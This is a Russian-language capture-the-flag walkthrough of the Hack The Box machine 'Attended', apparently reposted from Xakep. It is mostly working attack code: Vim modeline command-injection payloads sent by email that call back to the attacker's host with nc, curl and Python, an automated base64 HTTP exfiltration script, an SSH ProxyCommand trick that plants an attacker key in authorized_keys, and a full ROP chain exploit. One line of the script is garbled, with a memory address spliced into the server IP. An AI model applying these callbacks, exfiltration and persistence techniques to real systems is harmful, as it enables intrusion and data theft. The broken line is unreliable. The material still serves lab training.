JustPaste.it

Хакер - HTB Attended. Инжектим команды в Vim и раскручиваем бинарную уязвимость с помощью ROP-цепочек

hacker_frei
d74d79c31310fbf2bb456e02663a0e58.png

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Точка входа
  • Закрепление
  • Продвижение
  • Локальное повышение привилегий

В этой статье мы раз­берем опас­ную экс­плу­ата­цию уяз­вимос­ти в редак­торе Vim и нес­коль­ко спо­собов эксфиль­тра­ции дан­ных, а так­же некото­рые опас­ные кон­фигура­ции SSH. В качес­тве вишен­ки на тор­те — бинар­ная уяз­вимость, экс­плу­ата­ция которой и поз­волит зах­ватить хост. А поможет нам в этих раз­вле­чени­ях «безум­ная» по слож­ности машина Attended с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Ад­рес машины — 10.10.10.221, сра­зу добав­ляем его в /etc/hosts, что­бы мож­но было обра­щать­ся по име­ни.

10.10.10.221 attended.htb

Тра­дици­онно перехо­дим к ска­ниро­ванию пор­тов:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

faceb005352c7c8a6404094aecb1795e.jpg

По резуль­татам ска­ниро­вания име­ем два откры­тых пор­та: 22 (служ­ба SSH) и 25 (SMTP-сер­вер). На SSH нам ловить нечего (брут уче­ток — пос­леднее дело!). Оста­ется толь­ко порт 25, а в слу­чае с SMTP глав­ный век­тор — это фишинг.

В резуль­татах ска­ниро­вания упо­мина­ется имя поль­зовате­ля guly, это уже что‑то. Мы будем отправ­лять сооб­щение, содер­жащее наш локаль­ный адрес, и прос­матри­вать тра­фик на наличие сетево­го вза­имо­дей­ствия. В тек­сте сооб­щения мож­но написать что угод­но, к при­меру «Hi, guly! See 10.10.14.121». Для сбо­ра тра­фика акти­виру­ем tcpdump и с помощью филь­тра отоб­разим толь­ко те пакеты, адрес наз­начения которых наш локаль­ный.

sudo tcpdump -i tun0 dst 10.10.14.121

Для отправ­ки сооб­щения будем исполь­зовать удоб­ный скрипт swaks. Для ука­зания получа­теля и отпра­вите­ля исполь­зуют­ся парамет­ры --to и --from соот­ветс­твен­но, текст сооб­щения ука­зыва­ется в фай­ле, путь к которо­му переда­ется в парамет­ре --body, адрес сер­вера — в парамет­ре -s.

swaks --to guly@attended.htb --from ralf@attended.htb --body body.txt -s 10.10.10.221:25

99415770817f8eff35abb2c46f8eaf81.jpg

Сна­чала в окне tcpdump будут толь­ко отве­ты сер­вера, но через нес­коль­ко секунд мы уже уви­дим зап­рос, при­чем к пор­ту 25.

568f5ed05ee8bf448004574ec41afceb.png

ТОЧКА ВХОДА

Ка­жет­ся, нам пыта­ются отве­тить! Что­бы при­нять ответ, раз­вернем прос­той сер­вер SMTP на локаль­ном хос­те. Для это­го уста­новим и запус­тим Postfix.

sudo apt install postfix

sudo service postfix start

Все при­нятые сооб­щения будут рас­положе­ны в фай­ле, наз­вание которо­го сов­пада­ет с име­нем локаль­ного поль­зовате­ля (у меня — zralf). А рас­положен этот файл в дирек­тории /var/mail/. Для отсле­жива­ния вхо­дящих писем в пос­тоян­ном режиме мож­но запус­тить про­вер­ку в watch.

watch -p 'cat /var/mail/ralf'

Пов­торим отправ­ку сооб­щения и получим ответ в кон­соли watch.

2d36619c3f2fc8798bed79ca90da733b.png

Из тек­ста сооб­щения отме­чаем еще одно­го поль­зовате­ля — freshness, а так­же упо­мина­ние опе­раци­онной сис­темы OpenBSD (это мы зна­ли) и тек­сто­вого редак­тора Vim.

Что бы мы ни делали даль­ше, никаких отве­тов, кро­ме упо­мяну­того сооб­щения, мы не получим. Что ж, будем работать с теми дан­ными, которые име­ем. Во‑пер­вых, в качес­тве отпра­вите­ля будем ука­зывать най­ден­ного поль­зовате­ля, а во‑вто­рых, есть шанс как‑то исполь­зовать Vim. Поищем готовые экс­пло­иты для него.

Для поис­ка экс­пло­итов удоб­на база Exploit-DB, встро­енная в Kali Linux и дос­тупная через ути­литу searchsploit, но в реаль­ных усло­виях луч­ше исполь­зовать Google, что­бы искать по всем дос­тупным иссле­дова­ниям и отче­там, вклю­чая самые новые.

0dd1609cdc2105ca7ccd65402e82e675.png

Вер­сию исполь­зуемо­го тек­сто­вого редак­тора мы не зна­ем, поэто­му возь­мем экс­пло­ит для самой све­жей — 8.1.1365. CVE-2019-12735 поз­воля­ет выпол­нить коман­ды в опе­раци­онной сис­теме при откры­тии фай­лов со спе­циаль­ным содер­жимым (да, это воз­можно! Vim — слож­ный инс­тру­мент, а это зна­чит, что такие вот сюр­при­зы иног­да встре­чают­ся).

INFO

Под­робнее о про­исхожде­нии и экс­плу­ата­ции это­го бага читай в статье «Убой­ный текст. Выпол­няем про­изволь­ный код в Vim и Neovim».

Как ука­зано в опи­сании экс­пло­ита, мы переда­ем коман­ду, которую нуж­но выпол­нить, меж­ду сим­волами :! и ||. При­мер выпол­нения коман­ды uname -a:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

9861238369cab01788c554d3e0253c1d.png

Поп­робу­ем про­верить экс­пло­ит на прак­тике, но дело осложня­ется тем, что мы не видим резуль­тата выпол­нения коман­ды. Поэто­му нуж­но выпол­нить обра­щение с уда­лен­ного хос­та на наш локаль­ный. Поп­робу­ем выз­вать кон­нект по про­токо­лу TCP. Сиг­нализи­ровать об обра­щении нам будет ути­лита netcat:

nc -lvp 4321

Для соз­дания кон­некта с уда­лен­ного хос­та тоже можем прос­то исполь­зовать netcat, ука­зав свой IP и прос­лушива­емый порт (nc [ip] 4321). Как ука­зано в экс­пло­ите, соз­дадим файл‑вло­жение со сле­дующим содер­жимым:

:!nc [ip] 4321||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

И пов­торим отправ­ку сооб­щения, ука­зав этот файл в парамет­ре --attach.

swaks --to guly@attended.htb --from freshness@attended.htb --attach expl.txt -s 10.10.10.221:25

Нем­ного ждем и, не получив никако­го откли­ка, дела­ем два пред­положе­ния: либо экс­пло­ит не работа­ет, либо на сер­вере нет netcat. Давай поп­робу­ем сде­лать то же самое, но уже исполь­зуя curl и по про­токо­лу HTTP. Изме­ним коман­ду в при­лага­емом фай­ле expl.txt.

:!curl http://[ip]:4321||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Сно­ва ждем, ничего не получа­ем и зак­рыва­ем лис­тенер netcat. Есть еще два вари­анта выпол­нить бэк­коннект — DNS и ICMP. Давай поп­робу­ем вари­ант с пин­гом. Прос­матри­вать тра­фик будем с помощью tcpdump, ука­зав в филь­тре толь­ко пакет ICMP:

sudo tcpdump -i tun0 icmp

А теперь отправ­ляем файл (коман­ду swaks не при­вожу, она оста­ется преж­ней), который в этот раз содер­жит коман­ду с пин­гом. И спус­тя некото­рое вре­мя получа­ем отклик!

:!ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

e3f32eac9524c74537256d0327471fc9.png

Та­ким обра­зом, мы можем исполь­зовать ping как сиг­нал об успешном или неус­пешном выпол­нении отправ­ленной коман­ды. Для это­го будем исполь­зовать два кон­вей­ера:

  • COMMAND && ping [IP] — если пинг при­шел, то коман­да COMMAND выпол­нилась успешно, ина­че нет;
  • COMMAND || ping [IP] — если пинг при­шел, то коман­да COMMAND не выпол­нилась.

 

ЗАКРЕПЛЕНИЕ

Мы можем лишь узнать, выпол­нилась коман­да или нет, но не зна­ем ее резуль­тат. Что­бы про­извести эксфиль­тра­цию резуль­тата выпол­ненных команд, нам нуж­но най­ти спо­соб обра­щать­ся по HTTP. Нуж­но най­ти коман­ду, с помощью которой это мож­но было бы делать. Как искать? Будем зап­рашивать help у каж­дой прог­раммы. Нач­нем с curl, меня­ем содер­жимое отправ­ляемо­го фай­ла:

 

:!curl -h && ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Пинг не при­шел, при этом если исполь­зовать дру­гой тип кон­вей­ера (curl -h || ping -c 4 [ip]), то пакеты идут. Дела­ем вывод: curl на хос­те отсутс­тву­ет. Теперь про­верим таким же спо­собом wget:

:!wget -h && ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Пин­га нет, но есть при обратном кон­вей­ере ||, то есть wget тоже отсутс­тву­ет. Про­буем Python 2:

:!python2 -h && ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

И получа­ем пинг, а зна­чит, Python 2 есть на хос­те! Про­веря­ем, можем ли мы пос­тучать­ся на свой хост по HTTP. Для начала запус­тим прос­той HTTP-сер­вер на Python 3:

sudo python3 -m http.server 80

А на хос­те нуж­но выпол­нить такой скрипт:

import requests

requests.get('http://[ip]/test')

Это мож­но сде­лать пря­мо из кон­соли, содер­жимое отправ­ляемо­го фай­ла будет сле­дующим:

:!python2 -c "import requests; requests.get('http://[ip]/test')" || ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Этот кон­вей­ер либо выпол­нит обра­щение к нашему веб‑сер­веру, либо прос­то попин­гует наш хост. И спус­тя вре­мя получа­ем обра­щение к стра­нице test.

ab0f0c16154e00a5351cf43ccd161b89.png

Те­перь поп­робу­ем эксфиль­тро­вать дан­ные. Для начала выпол­ним в кон­соли коман­ду whoami, резуль­тат которой закоди­руем в Base64, потом обра­тим­ся к нашей стра­нице на сер­вере. Так мы получим закоди­рован­ные дан­ные. Вот как будет выг­лядеть код:

import requests

import base64

a = base64.b64encode( '$(whoami)' )

requests.get('http://[ip]/' + a)

Со­дер­жимое отправ­ляемо­го фай­ла будет сле­дующим:

:!python2 -c "import requests, base64; a=base64.b64encode('$(whoami)'); requests.get('http://[ip]/'+a)" ; ping -c 4 [ip]||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

В логах веб‑сер­вера видим обра­щение к какой‑то стра­нице. Это резуль­тат выпол­ненной коман­ды, закоди­рован­ный в Base64. Таким длин­ным путем мы получа­ем выпол­нение кода на сер­вере и узна­ем, что работа­ем в кон­тек­сте поль­зовате­ля guly.

6e357efea580a6bcaeadf3c4fa6f10e5.png

Итак, мы смог­ли про­извести эксфиль­тра­цию дан­ных, но метод не очень удоб­ный, так как мы не смо­жем эксфиль­тро­вать мно­гос­троч­ные дан­ные. Пер­вым делом добь­емся пол­ной эксфиль­тра­ции. Будем выпол­нять коман­ду средс­тва­ми Python 2, ее резуль­тат записы­вать в файл в дирек­тории /tmp, пос­ле чего читать и кодиро­вать этот файл для отправ­ки, если коман­да была выпол­нена успешно. Если коман­да завер­шилась с ошиб­кой, то будем воз­вра­щать стро­ку Command failed. Ниже при­вожу реали­зацию на Python.

import requests

import base64

import os

ans=os.system('COMMAND > /tmp/res')

res = ''

if ans==0:

res = open('/tmp/res').read()

else:

res = 'Command failed'

requests.get('http://[ip]/'+base64.b64encode(res))

В этом скрип­те сле­дует толь­ко ука­зывать коман­ду, которую нуж­но выпол­нить. Его запись в виде однос­троч­ника будет нем­ного отли­чать­ся:

:!python2 -c "import requests, base64, os; ans=os.system('COMMAND > /tmp/res'); res = ''; res = open('/tmp/res').read() if ans==0 else 'Command failed'; requests.get('http://[ip]/'+base64.b64encode(res))"||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Про­веря­ем наш экс­пло­ит попыт­ками выпол­нить работа­ющую коман­ду ls -la /home/guly и коман­ду cat /root/root.txt, которая вер­нет ошиб­ку.

40fb8231b975043195c78e46a6ff96a6.jpg

Да­вай теперь реали­зуем фун­кцию, которая будет зап­рашивать коман­ду, генери­ровать файл вло­жения и отправ­лять его на поч­товый сер­вер.

import subprocess

import os

IP = ''

def executeCommand(COMMAND):

expl = """:!python2 -c "import requests, base64, os; ans=os.system('""" + COMMAND + """ > /tmp/res'); res = ''; res = open('/tmp/res').read() if ans==0 else 'Command failed'; requests.get('http://""" + IP + """/'+base64.b64encode(res))"||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

"""

f_expl = open('expl.txt', 'wt')

f_expl.write(expl)

f_expl.close()

with open(os.devnull, 'wb') as devnull:

subprocess.check_call(['swaks', '--to', 'guly@attended.htb', '--from', 'freshness@attended.htb', '--attach', 'expl.txt', '-s', '10.10.10.220x6010c0

1:25'], stdout=devnull, stderr=devnull)

def main():

command = input('command > ')

executeCommand(command)

main()

34d03a3cb09e958af29e08d4569b3227.png

Те­перь добавим веб‑сер­вер в наш скрипт, что­бы декоди­рова­ние и зап­рос сле­дующей коман­ды про­исхо­дили авто­мати­чес­ки.

from http.server import BaseHTTPRequestHandler, HTTPServer

import logging

class EvilServer(BaseHTTPRequestHandler):

def _set_response(self):

self.send_response_only(404)

self.end_headers()

def do_GET(self):

self._set_response()

print(base64.b64decode(self.path[1:].encode()).decode())

def run(server_class=HTTPServer, handler_class=EvilServer, port=80):

server_address = ('', port)

httpd = server_class(server_address, handler_class)

try:

httpd.serve_forever()

except KeyboardInterrupt:

pass

httpd.server_close()

Те­перь нуж­но сов­местить наши бло­ки кода. При стар­те прог­раммы (фун­кция run()) запус­кает­ся веб‑сер­вер. Пос­ле чего добавим зап­рос коман­ды и выпол­нение отправ­ки фай­ла с экс­пло­итом (фун­кция executeCommand()). При выпол­нении на сер­вере коман­ды он отве­тит переда­чей закоди­рован­ных дан­ных, которые мы обра­бота­ем в методе do_GET() клас­са EvilServer. Нам нуж­но получить путь, к которо­му про­исхо­дит обра­щение, и декоди­ровать его. Пос­ле чего вновь про­извести зап­рос коман­ды. Пол­ный код с изме­нени­ями при­вожу ниже (нуж­но ука­зать лишь свой IP), работа­ет мед­ленно, но удоб­но:

from http.server import BaseHTTPRequestHandler, HTTPServer

import base64

import logging

import subprocess

import os

IP = ''

class EvilServer(BaseHTTPRequestHandler):

def _set_response(self):

self.send_response_only(404)

self.end_headers()

def do_GET(self):

self._set_response()

print(base64.b64decode(self.path[1:].encode()).decode())

command = input('command > ')

executeCommand(command)

def run(server_class=HTTPServer, handler_class=EvilServer, port=80):

server_address = ('', port)

httpd = server_class(server_address, handler_class)

command = input('command > ')

executeCommand(command)

try:

httpd.serve_forever()

except KeyboardInterrupt:

pass

httpd.server_close()

def executeCommand(COMMAND):

expl = """:!python2 -c "import requests, base64, os; ans=os.system('""" + COMMAND + """ > /tmp/res'); res = ''; res = open('/tmp/res').read() if ans==0 else 'Command failed'; requests.get('http://""" + IP + """/'+base64.b64encode(res))"||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

"""

f_expl = open('expl.txt', 'wt')

f_expl.write(expl)

f_expl.close()

with open(os.devnull, 'wb') as devnull:

subprocess.check_call(['swaks', '--to', 'guly@attended.htb', '--from', 'freshness@attended.htb', '--attach', 'expl.txt', '-s', '10.10.10.221:25'], stdout=devnull, stderr=devnull)

run()

f94fc184ab663f6ca1491d19181ea00d.png

 

ПРОДВИЖЕНИЕ

Вот мы и проб­рались на машину. Сра­зу обра­щаем вни­мание на поль­зовате­лей, у которых есть домаш­ние катало­ги, а так­же отме­чаем, что дирек­тория shared дос­тупна нам для записи, но не для чте­ния.

 

b4f3fce36b199934d582d2eae3375d64.png

В домаш­ней дирек­тории поль­зовате­ля находим еще одну инте­рес­ную дирек­торию — tmp — и не менее инте­рес­ный файл gchecker.py. Ока­зыва­ется, код ими­тиру­ет чита­юще­го сооб­щения и отве­чающе­го нам поль­зовате­ля. В том же фай­ле находим фун­кцию, которая про­веря­ет, не кида­ем ли мы реверс‑шелл. Но еще инте­рес­нее файл .config.swp.

edf1f3c487dbc1c644d8a99b1732c380.png
2b1ee41b11067d20394280e7bedd31b0.png

Это файл обме­на Vim, который соз­дает­ся сра­зу при откры­тии фай­ла, в дан­ном слу­чае config. По содер­жимому мы понима­ем, что это кон­фиг SSH, в котором ука­зан поль­зователь freshness.

1b7d848bf85106cf2ffac1f696003e59.png

Пос­коль­ку мы име­ем пра­во на запись в дирек­тории share, которая при­над­лежит груп­пе freshness, и соз­дан файл обме­на Vim для кон­фига SSH поль­зовате­ля freshness, получа­ется, что мы можем записать кон­фиг /home/share/config поль­зовате­ля freshness.

В этом слу­чае нас инте­ресу­ет дирек­тива ProxyCommand, которая поз­волит выпол­нить коман­ду. Коман­да оче­вид­на — поп­робу­ем для любого хос­та (Host *) записать пуб­личный ключ SSH (ProxyCommand echo ...), который сге­нери­руем коман­дой ssh-keygen. Что­бы не экра­ниро­вать вся­кие спе­циаль­ные сим­волы в нашем экс­пло­ите, прос­то отпра­вим сооб­щение со сле­дующим вло­жени­ем (нуж­но толь­ко вста­вить свой SSH-ключ).

:!echo "Host *" >> /home/shared/config; echo " ProxyCommand echo 'ssh-rsa AA....' > ~/.ssh/authorized_keys" >> /home/shared/config ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Спус­тя некото­рое вре­мя под­клю­чаем­ся по SSH с при­ват­ным клю­чом.

40b737c891cd5e679d718bdd809b5bca.png

 

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

В домаш­ней дирек­тории поль­зовате­ля находим дирек­торию authkeys, содер­жащую бинар­ный файл и запис­ку. В запис­ке ска­зано, что коман­да authkeys не работа­ет на attended, но работа­ет на attendedgw. Эту запись мы обна­ружим в фай­ле /etc/hosts, что озна­чает наличие вто­рого хос­та.

 

4a27ea4c8dae76b9be950c9133de9af5.png
3eaa4a280f408c4b2524b91c14a0d56f.png

Наш­ли новый хост — ска­ниру­ем пор­ты! Для это­го нуж­но прок­сировать тра­фик через уже дос­тупный хост с помощью SSH. Локаль­ный прок­си‑сер­вер будет при­нимать соеди­нение на порт 22222:

ssh -i id_rsa freshness@attended.htb -D 22222 -N

Пе­ренап­равле­ние нас­тро­им с помощью proxychains. Для это­го добавим запись socks4 127.0.0.1 22222 в конец фай­ла /etc/proxichains.conf. Затем ска­ниру­ем с помощью Nmap:

proxychains -q nmap 192.168.23.1 --min-rate=500

6c6280f89bfd0134f44e67f62e85ea97.png

Бы­ло ска­зано, что скрипт не работа­ет для SSHD, давай взгля­нем на файл /etc/ssh/sshd_config. Он содер­жит заком­менти­рован­ную опцию AuthorizedKeysCommand.

f6ad5d0dc258d73a0ea32add55a6eb66.png

AuthorizedKeysCommand пре­дос­тавля­ет воз­можность авто­ризо­вать поль­зовате­ля без добав­ления пуб­лично­го клю­ча в файл authorized_keys, при этом пред­полага­ется, что ключ хра­нит­ся где‑то на уда­лен­ном сер­вере. Так­же дол­жна быть про­писа­на опция AuthorizedKeysCommandUser, где ука­зыва­ется поль­зователь, от име­ни которо­го будет запус­кать­ся скрипт (у нас это root, то есть мы наш­ли вер­ный путь к повыше­нию при­виле­гий). На вход скрип­ту переда­ются сле­дующие токены:

  • %f — циф­ровой отпе­чаток (fingerprint) клю­ча или сер­тифика­та;
  • %h — домаш­няя дирек­тория поль­зовате­ля;
  • %t — тип клю­ча или сер­тифика­та;
  • %k — ключ или сер­тификат для авто­риза­ции, закоди­рован­ный в Base64.

То, что прог­рамма при­нима­ет на вход толь­ко четыре аргу­мен­та, ста­новит­ся ясно и пос­ле ее ана­лиза в дизас­сем­бле­ре (я исполь­зую IDA Pro): она выводит соот­ветс­тву­ющее сооб­щение. Перед тем как дизас­сем­бли­ровать, сна­чала заг­ружа­ем исполня­емый файл на свой хост:

scp -i id_rsa freshness@attended.htb:~/authkeys/authkeys ./

Раз­деление строк реали­зова­но сим­волом 0x0A, поэто­му IDA учи­тыва­ет их как одну стро­ку. Но мож­но заменить их при­выч­ным сим­волом окон­чания стро­ки — 0. Тог­да поведе­ние прог­раммы ста­нет нем­ного понят­нее.

38fb102a0a9261735a844c192f6c3f41.png
d8327124f1283b8941c124a59efff338.png
e726a2fe69ad57c3506157073de7b278.png

Раз­бира­ясь с кодом, не забыва­ем учи­тывать уже име­ющуюся информа­цию о при­нима­емых аргу­мен­тах. Так как пос­ледний аргу­мент дол­жен быть пред­став­лен в фор­мате Base64, мы можем сра­зу най­ти фун­кцию, которая выпол­няет кодиро­вание. Обра­ти вни­мание, что осу­щест­вля­ется копиро­вание в буфер раз­мером 0x300 байт, а пос­ле это­го — потен­циаль­ное перепол­нение буфера.

86fdfb1a699c3ed267cdb1ba376ccab6.png
f5864588e7fa8709bd1da779c4c39850.png

Про­верим теорию с перепол­нени­ем, для чего ско­пиру­ем исполня­емый файл в каталог /tmp. Что­бы опре­делить сме­щение, по которо­му сто­ит про­изво­дить переза­пись, сге­нери­руем пос­ледова­тель­ность де Брёй­на с помощью биб­лиоте­ки pwntools.

71b34df6b3b90ff7b57a24a1eef81240.png

Те­перь запус­тим прог­рамму в отладчи­ке GDB и переда­дим чет­вертым парамет­ром нашу стро­ку. Пос­ле того как прог­рамма упа­дет, про­верим дан­ные по регис­тру RSP. Видим часть нашей стро­ки и копиру­ем пер­вые четыре бай­та, которые переда­ем обратно в скрипт cyclic, что­бы опре­делить сме­щение.

c914c21c52c8eff8cc6cece94eeb612e.png
d9b8df202070aac121149285d06f86aa.png

Так как тут есть уяз­вимость перепол­нения буфера, давай добь­емся выпол­нения команд на хос­те. В этом нам помогут ROP-цепоч­ки. Об этой тех­нике в «Хакере» уже мно­гок­ратно писали, так что не будем пов­торять­ся.

Сна­чала получим все цепоч­ки с помощью ути­литы ROPgadget.

ROPgadget --binary authkeys

993400ab78916c7930b77b9104713ff7.jpg

В спис­ке гад­жетов находим syscall. С помощью его мы и выпол­ним коман­ду опе­раци­онной сис­темы, выз­вав фун­кцию execve. Но сна­чала раз­берем­ся с усло­виями пра­виль­ной работы, а имен­но с содер­жимым регис­тров при вызове syscall:

  • RAX — содер­жит номер вызова (для execve — 59);
  • RDI — пер­вый аргу­мент фун­кции (ука­затель на коман­ду);
  • RSI — вто­рой аргу­мент фун­кции (ука­затель на мас­сив argv[]);
  • RDX — тре­тий аргу­мент фун­кции (ука­затель на мас­сив envp[]).

Пер­вым делом раз­берем­ся с регис­тром RAX, куда нам нуж­но помес­тить зна­чение 59. Для работы с ним мы можем исполь­зовать два гад­жета: побито­вый сдвиг впра­во и побито­вое отри­цание.

0x0000000000400394 : mov eax, 0xffffffff ; xor rcx, rcx ; ret

0x000000000040036d : not al ; adc cl, 0xe8 ; ret

0x0000000000400370 : shr eax, 1 ; ret

Сна­чала уста­новим зна­чение регис­тра 0xffffffff, потом выпол­ним 24 сдви­га, что­бы обо­собить один байт со зна­чени­ем 0xff, то есть 11111111 (тог­да как нам нуж­но 0x3b или 111011). Потом выпол­ним ряд опе­раций по пре­обра­зова­нию:

mov_eax = pack('<Q', 0x0000000000400394)

not_al = pack('<Q', 0x000000000040036d)

shr_eax = pack('<Q', 0x0000000000400370)

SET_RAX = mov_eax

for i in range(24):

SET_RAX += shr_eax # RAX = 11111111

SET_RAX += shr_eax # RAX = 01111111

SET_RAX += not_al # RAX = 10000000

for i in range(3):

SET_RAX += shr_eax # RAX = 00010000

SET_RAX += not_al # RAX = 11101111

SET_RAX += shr_eax # RAX = 01110110

SET_RAX += shr_eax # RAX = 00111011

Та­ким обра­зом мы уста­нав­лива­ем зна­чение 59 в регис­тре RAX. Теперь раз­бира­емся с коман­дой. Будем писать SSH-ключ в файл authorized_keys (для тес­тирова­ния пишем в локаль­ную дирек­торию). Здесь важ­но опре­делить­ся c адре­сом, по которо­му будут записа­ны наши дан­ные. Тут это сде­лать прос­то: ста­тичес­кая перемен­ная, куда будет записа­на декоди­рован­ная стро­ка, рас­положе­на пос­ле уже задан­ных строк по адре­су 0x6010c0. Нач­нем нашу наг­рузку с выб­ранной коман­ды и ее аргу­мен­тов, тог­да они будут рас­положе­ны по это­му адре­су. Тог­да мы смо­жем лег­ко вычис­лить и их сме­щения, которые мы рас­положим пос­ле строк. Завер­шим наг­рузку еще дву­мя адре­сами: адре­сом мас­сива строк и адре­сом мас­сива ука­зате­лей на эти же стро­ки.

def to_addr(s):

return s + b'\x00'*(8 - len(s)%8)

def to_float(addr):

s = pack('<f', addr)

s += b'\x00' * (8-len(s))

return s

command = [

to_addr(b"/bin/sh"),

to_addr(b"-c"),

to_addr(b"echo 'qweewqqweewq' >> /tmp/authorized_keys")

]

payload_address = 0x6010c0

command_offset = 0

payload = b"".join(command) + pack('<Q', 0x00)

pointer_offset = len(payload)

payload += pack('<Q', payload_address )

payload += pack('<Q', payload_address + len(command[0]) )

payload += pack('<Q', payload_address + len(command[0]) + len(command[1]) )

payload += pack('<Q', 0x00000000)

offsets = len(payload)

payload += to_float(payload_address)

payload += to_float(payload_address + pointer_offset)

Те­перь зай­мем­ся уста­нов­кой зна­чений регис­тров RDIRSI и RDX. Тут было очень слож­но опре­делить цепоч­ку гад­жетов, но все же выделя­ем сле­дующие:

0x000000000040037b : movss xmm0, dword ptr [rdx] ; mov ebx, 0xf02d0ff3 ; ret

0x0000000000400380 : cvtss2si esi, xmm0 ; ret

0x0000000000400367 : mov rdi, rsi ; pop rdx ; ret

0x000000000040036a : pop rdx ; ret

Ко­ман­да movss копиру­ет млад­шее упа­кован­ное вещес­твен­ное зна­чение из опе­ран­да‑источни­ка в млад­шее 32-бит­ное поле опе­ран­да‑наз­начения (в нашем слу­чае из RDX в xmm0). Коман­да cvtss2si пре­обра­зует млад­шее корот­кое вещес­твен­ное зна­чение из опе­ран­да в памяти в зна­ковое 32-бит­ное целочис­ленное зна­чение и помеща­ет резуль­тат в 32-бит­ный регистр обще­го наз­начения (у нас из xmm0 в esi). Так мож­но задать зна­чение регис­тра RSI. А тре­тий гад­жет поможет перенес­ти его в RDI. Зна­чение регис­тра RDX мож­но обну­лить. Но вот в чем была проб­лема: цепоч­ка начина­ется с перено­са зна­чения из регис­тра RDX, но нет гад­жета для перено­са зна­чения в него. Что делать? Мне приш­лось про­кон­суль­тировать­ся со зна­током, который дал под­сказ­ку: пос­мотреть на саму прог­рамму. При выходе из текуще­го бло­ка RDX ука­зыва­ет на payload_address + 768.

f5864588e7fa8709bd1da779c4c39850.png

А зна­чит, мы можем задать зна­чение payload_address + offsets по сме­щению payload_address + 768.

# ... payload_address + 768 ...

payload += pack('<Q', payload_address + offsets)

SET_RDI = pack('<Q', 0x000000000040037b ) + pack('<Q', 0x0000000000400380 ) + pack('<Q', 0x0000000000400367 )

SET_RSI = pack('<Q', payload_address + offsets + 0x8) + pack('<Q', 0x000000000040037b ) + pack('<Q', 0x0000000000400380 )

SET_RDX = pack('<Q', 0x000000000040036a ) + pack('<Q', 0x00 )

И в кон­це добав­ляем вызов syscall:

# 0x00000000004003cf : syscall

SYSCALL = pack('<Q', 0x00000000004003cf )

Те­перь собира­ем все воеди­но:

  • сна­чала идет мас­сив строк, сос­тавля­ющий нашу коман­ду;
  • за­тем идет мас­сив ука­зате­лей на каж­дую стро­ку;
  • за­тем рас­положе­ны два ука­зате­ля на мас­сивы строк и ука­зате­лей на стро­ки;
  • да­лее встав­ляем допол­нение до 768 сим­волов;
  • те­перь по дан­ному сме­щению ука­зыва­ем адрес мас­сива ука­зате­лей, который будет извле­чен в регистр RDX;
  • за­пол­няем регистр RAX (номер execve);
  • за­пол­няем регистр RDI из RDX (ука­затель на ука­затель на глав­ную коман­ду);
  • за­пол­няем регистр RSI (ука­затель на мас­сив аргу­мен­тов);
  • за­нуля­ем RDX;
  • вы­зыва­ем syscall.

from struct import pack

import base64

def to_addr(s):

return s + b'\x00'*(8 - len(s)%8)

def to_float(addr):

s = pack('<f', addr)

s += b'\x00' * (8-len(s))

return s

command = [

to_addr(b"/bin/sh"),

to_addr(b"-c"),

to_addr(b"echo 'qweewqqweewq' >> /tmp/authorized_keys")

]

payload_address = 0x6010c0

payload = b""

mov_eax = pack('<Q', 0x0000000000400394)

not_al = pack('<Q', 0x000000000040036d)

shr_eax = pack('<Q', 0x0000000000400370)

SET_RAX = mov_eax

for i in range(24):

SET_RAX += shr_eax # RAX = 11111111

SET_RAX += shr_eax # RAX = 01111111

SET_RAX += not_al # RAX = 10000000

for i in range(3):

SET_RAX += shr_eax # RAX = 00010000

SET_RAX += not_al # RAX = 11101111

SET_RAX += shr_eax # RAX = 01110110

SET_RAX += shr_eax # RAX = 00111011

payload = b""

payload = b"".join(command) + pack('<Q', 0x00)

pointer_offset = len(payload)

payload += pack('<Q', payload_address )

payload += pack('<Q', payload_address + len(command[0]) )

payload += pack('<Q', payload_address + len(command[0]) + len(command[1]) )

payload += pack('<Q', 0x00 )

offsets = len(payload)

payload += to_float(payload_address)

payload += to_float(payload_address + pointer_offset)

payload += pack('<Q', 0x00 ) * ((0x0300 - len(payload))//8)

payload += pack('<Q', payload_address + offsets)

payload += SET_RAX

payload += pack('<Q', 0x000000000040037b ) + pack('<Q', 0x0000000000400380 ) + pack('<Q', 0x0000000000400367 ) # SET_RDI

payload += pack('<Q', payload_address + offsets + 0x8) + pack('<Q', 0x000000000040037b ) + pack('<Q', 0x0000000000400380 ) # SET_RSI

payload += pack('<Q', 0x000000000040036a ) + pack('<Q', 0x00 ) # SET_RDX

payload += pack('<Q', 0x00000000004003cf ) # SYSCALL

print(base64.b64encode(payload).decode())

Не забыва­ем добавить кодиро­вание в Base64.

abdf2c49bca8db6e54c70908a05b71b1.png

./authkeys 1 2 3 L2Jpb...

e1426bb234b7843dbec05f87ee708ca9.png

